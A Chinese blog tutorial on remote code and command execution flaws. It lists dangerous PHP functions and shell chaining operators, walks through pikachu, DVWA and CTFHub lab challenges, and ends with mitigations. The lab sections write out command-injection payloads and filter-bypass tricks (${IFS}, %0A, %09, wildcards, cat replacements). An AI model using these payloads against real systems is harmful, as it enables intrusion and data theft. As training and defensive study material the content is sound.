首页 > 其他分享 >远程代码执行漏洞

远程代码执行漏洞

时间:2023-08-22 18:13:02浏览次数:32  
标签:127.0 命令 cat 漏洞 flag 代码执行 执行 远程

远程代码执行:Remote Code Execute

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

 

远程命令执行:Remote Command Execute

可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

产生的原因:没对用户输入的内容进行严格的过滤

是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

危害

获取服务器权限

执行任意命令

获取敏感数据文件

写入恶意文件getshelll

植入木马病毒勒索文件等

漏洞案例

CVE-2021-3177     Python RCE漏洞
CVE-2021-21972   VMWare RCE漏洞
CVE-2021-25646    Apache Druid RCE漏洞
CNVD-2020-46552  深信服EDR
CNVD-2021-30101   网康下一-代防火墙
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RCE

函数

命令注入相关函数

system()

执行命令并显示输出

exec()/shell_exec()

通过shell环境执行命令,并且将完整的输出以字符串方式返回

pcntl_exec()

在当前进程空间执行指定指令

passthru()

执行外部程序并且显示原始输出

popen()

打开进程文件指针

proc_open()

执行一个命令,并且打开用来输入/输出的文件指针

代码code注入

eval()

把字符串code作为PHP代码执行

assert()

判断一个断言是否为false

preg_replace()

执行一个正则表达式的搜索和替换

creat_function()

创建一个匿名函数并且返回函数名创

call_user_func()/call_user_func_array()

把第一个参数作为回调函数调用

usort()/uasort()

使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

命令拼接符号

Windows

&&    左边执行成功后右边执行

&      简单的拼接

|      上一条命令的输出作为下一个命令的输入

||     左边的命令执行失败,右边的才会执行

Linux

;       没有任何逻辑关系的连接符

&&      左边执行成功后右边执行

|       上一条命令的输出作为下一个命令的输入

||      左边的命令执行失败,右边的才会执行

&       任务后台执行,和nohup命令功能差不多

靶场案例

pikachu靶场

exec"ping"

127.0.0.1&ipconfig

 

exec"eval"

system(ipconfig);

 

DVWA靶场

low级别

直接输

 medium级别

查看源码,对&&和;进行了置换

 所以使用&

 high级别

查看源码,对符号的置换增加

 但是规则中|后有一个空格,所以使用|

impossible级别

查看源码,explode函数将字符串打散返回一个数组,ip地址以.作为隔断符号打散并返回一个数组中,使用is_numeric函数确定数组中的每一个符号是否都是数字,如果不是就说明输入的不是一个ip地址。

CTF案例

eval执行

因为有eval,所以使用中国蚁剑,密码就是cmd。

进入终端寻找到flag文件

命令注入

没有过滤策略,使用ls查询出当前文件夹的所有的文件,打开文件内容即可。文件内容在页面中未显示可以打开网站源代码查看

payload:127.0.0.1&cat 23311852324266.php

过滤cat

Linux中可以显示文件内容的指令

cat显示所有内容

tac从最后一行倒序显示内容,并将所有内容输出

less/more根据窗口大小,一页一页显示

head只显示前几行

tail只显示后几行

nl类似cat -n,输出时显示行号

tailf类似于tail -f

payload:127.0.0.1;less flag_918865127236.php

过滤空格

Linux中可以替换空格的

%09(url编码),<,>,${IFS}

payload:127.0.0.1;cat${IFS}flag_18872723620011.php

过滤目录分隔符

127.0.0.1;cd flag_is_here;ls查看文件夹中的所有文件,获得flag文件的文件名

 

payload:127.0.0.1;cd flag_is_here;cat flag_356523421547.php

 

综合训练

大部分符号都被替换

;->%0a

cat->less

flag->f***

空格->%09

 

 

;可以用%0a替换,但是是在url编码中。

 先查询目录

challenge-d8a3c0dc5d1856fb.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Als

 进入该文件夹查询flag文件,分号替换为%0a,空格替换为%09,flag可以用通配符f***替换

http://challenge-d8a3c0dc5d1856fb.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd%09f***_is_here%0Als

对flag文件进行查看,用less替换cat

payload:view-source:http://challenge-d8a3c0dc5d1856fb.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd%09f***_is_here%0Aless%09f***_40821916717419.php

防范

1、开源框架及时更新

2、尽量不要使用命令执行的函数

3、如果必须使用,需要做白名单

4、用正则表达式对用户输入的内容进行处理

5、使用WAF

标签:127.0,命令,cat,漏洞,flag,代码执行,执行,远程
From: https://www.cnblogs.com/L-1906/p/17647191.html

相关文章

  • OpenSSH版本升级漏洞修复问题
    ......
  • 2023-08-22 git remote -v 为空 ==》为空意味着没有你该仓库没有远程仓库地址
    我想给新建的项目A创建一个版本库,so,我gitinit,然后我用gitremote-v查看,回车然后就为空了,百度了一下,说是没有你该仓库没有远程仓库地址;我还以为会链接到我其他的仓库去,看来不会,so,我在github创建了一个远程仓库,然后用gitremote-v链接到该仓库;即gitremote-v远程仓库地址;回车......
  • 变速器装配生产线如何实现远程监控和智能运维
    变速器又称变速箱,是用来改变发动机转速和转矩的装置,是汽车制造业的重要部件之一。随着自动化控制系统的发展,越来越多的变速器厂商实现自动化生产,包含零部件切削、装配、密封、注油、贴标等过程,从而替代人工实现高效率的生产,并降低成本支出。 变速器装配生产线包括压装机、拧紧机、......
  • 带你读论文丨Fuzzing漏洞挖掘详细总结 GreyOne
    本文分享自华为云社区《[论文阅读](03) 清华张超老师 -Fuzzing漏洞挖掘详细总结 GreyOne》,作者: eastmount。一.传统的漏洞挖掘方法演讲题目: 数据流敏感的漏洞挖掘方法内容摘要: 模糊测试近年来成为安全研究人员的必备的漏洞挖掘工具,是近年来漏洞披露数量爆发的重要推手......
  • QQ9.7.13版本及以下RCE漏洞
    00、声明:本文仅仅作为学习漏洞原理,为了更好的防范利用漏洞进行的攻击行为,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》01、漏洞环境攻击方和受害方双方均为windowsQQ9.7.13版本及以下复现时间:2023.8.2114:300......
  • VSCode如何为远程安装预设扩展
    背景在使用VSCode进行远程开发时(python开发之远程开发工具选择_CodingInCV的博客-CSDN博客),特别是远程的机器经常变化时(如机器来源于动态分配),每次连接新的远程时,都不得不手动安装一些开发需要的插件,尽管可以将需要的插件添加到workspace中,然后一键安装,不过总归还是不方便。那么有......
  • 工程机械远程监控运维平台助力作业安全监管
    工程机械是各种建筑工程中的重要生产工具,如挖掘机、起重机、压路机、混凝土搅拌机等。各种工程机械的应用使得建筑工程进度加快,大大减少人力投入,随着可编程逻辑控制器PLC的应用,工程机械迎来越来越丰富的应用场景。 工程车在带来便利的同时也带来一些问题,如何加强对工程机械的监管,......
  • Web安全漏洞解决方案
    1.已解密的登录请求 推理:AppScan识别了不是通过SSL发送的登录请求。测试请求和响应: 1.1.1产生的原因 登录接口,前端传入的密码参数没有经过md5的加密就直接传给了后端1.1.2解决方法前端代码传参的时候做md5加密处理 2.会话标识未更新推理:测试结果似乎指......
  • Haxx curl相关漏洞修复参考[CVE-2022-4355]
    Haxxcurl/libcurl安全漏洞修复参考libcurl是一个免费,易用的客户端传输库,支持DICT,FILE,FTP,FTPS,Gopher,HTTP,HTTPS,IMAP,IMAPS,LDAP,LDAPS,POP3,POP3S,RTMP,RTSP,SCP,SFTP,SMTP,SMTPS,TelnetandTFTP等协议。libcurl支持SSL认证,HTTPPOST,HTTPPUT,FTP上......
  • 反序列化漏洞利用思路
    序列化和反序列化本身没有问题,但是如果反序列化的1.内容是用户可以控制的,且后台2.不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()的3.参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。存在漏洞的思路:一个类用于临时将日......